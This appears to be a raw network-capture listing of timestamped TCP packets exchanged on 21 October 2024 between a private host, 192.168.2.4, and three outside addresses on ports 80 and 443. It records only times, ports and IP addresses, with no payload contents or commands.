Oct 21, 2024 10:47:39.536151886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.546540022 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.551587105 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551621914 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551656961 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551702023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551736116 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551768064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551805019 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.551834106 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.555797100 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.555926085 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.555953979 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.555979013 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.556005955 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.556039095 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.556276083 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.556324959 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.561491013 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.561547995 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.627994061 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.635693073 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.646897078 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.646918058 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.647224903 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.648601055 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.648672104 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.648684025 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.648921013 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:39.649292946 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:39.654122114 CEST	80	50036	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:39.654330969 CEST	80	50066	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:39.655806065 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:39.655847073 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:39.656480074 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:39.661369085 CEST	80	50066	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:39.682178020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682208061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682241917 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682362080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682410002 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682446003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682476997 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682509899 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682543993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682658911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682689905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682723045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682770967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.682806015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683115005 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683301926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683351040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683412075 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683448076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683480978 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683512926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.683547974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684256077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684288025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684320927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684366941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684416056 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684448004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684478998 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684513092 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684895992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684927940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.684961081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685010910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685045958 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685076952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685110092 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685143948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685951948 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685983896 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.685997009 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686120987 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686155081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686187983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686252117 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686275959 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686279058 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686300993 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686316013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686325073 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686351061 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.686352015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686952114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.686984062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687016964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687048912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687102079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687134981 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687166929 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687201977 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687889099 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687921047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.687953949 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688035965 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688069105 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688101053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688136101 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688169956 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688684940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688716888 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688750029 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688781023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688842058 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688890934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688922882 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.688955069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.689665079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.689697027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.689732075 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.691703081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.691735029 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.691770077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.691802025 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.691836119 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692002058 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692034960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692068100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692099094 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692151070 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692183018 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692236900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692270994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692737103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.692770004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693208933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693240881 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693273067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693305016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693339109 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693386078 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693419933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693469048 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.693960905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694124937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694292068 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694336891 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694371939 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694462061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694494009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694525957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694581985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694633961 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694679022 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694730997 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694781065 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694813013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694847107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694880009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694911957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694946051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.694977999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695010900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695048094 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695080042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695111036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695152998 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695184946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695219040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695250034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695282936 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695316076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695350885 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.695697069 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.695950031 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.695980072 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696002960 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696038008 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696083069 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696121931 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696140051 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696157932 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696638107 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.696707964 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.701411009 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701442957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701474905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701525927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701560020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701566935 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.701592922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701626062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701658010 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701689959 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701713085 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.701720953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701755047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701757908 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.701791048 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.701828957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702018976 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.702034950 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702068090 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702100992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702131987 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702182055 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702214003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702246904 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702276945 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702308893 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702341080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702374935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.702594995 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.702608109 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.702996016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703027964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703059912 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703092098 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.703092098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703146935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703178883 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703212023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703243017 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703293085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703325033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703341007 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.703357935 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703372002 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.703413010 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.703614950 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.704103947 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704137087 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704169989 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704247952 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704279900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704282999 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.704303980 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.704314947 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704396963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704430103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704461098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704492092 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.704493999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.704544067 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.780484915 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.780544043 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.780572891 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.780603886 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.780713081 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.786735058 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.789858103 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.789874077 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.789910078 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.789915085 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.797075033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797394991 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797424078 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797444105 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.797538042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797585011 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.797735929 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797770977 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.797816038 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.797816038 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.807879925 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.844733953 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844789028 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844821930 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844856024 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844888926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844922066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844954967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.844990015 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845035076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845087051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845118999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845151901 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845182896 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845233917 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845266104 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845299006 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845330000 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845362902 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845393896 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.845427036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846306086 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846338987 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846398115 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846451044 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846501112 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846548080 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846580029 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846647024 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846679926 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846729994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846786022 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846836090 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846872091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846901894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846940994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.846970081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847018003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847069979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847100973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847136974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847166061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847214937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847249031 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847250938 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.847280979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847315073 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847346067 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847378016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847424984 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.847459078 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849436045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849467993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849499941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849550962 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849585056 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849617004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849649906 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849709034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849761963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849808931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849843979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849875927 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849908113 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849941969 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.849977970 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850013018 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850047112 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850080967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850121975 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850155115 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850187063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850219011 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.850250959 CEST	80	50056	185.215.113.16	192.168.2.4
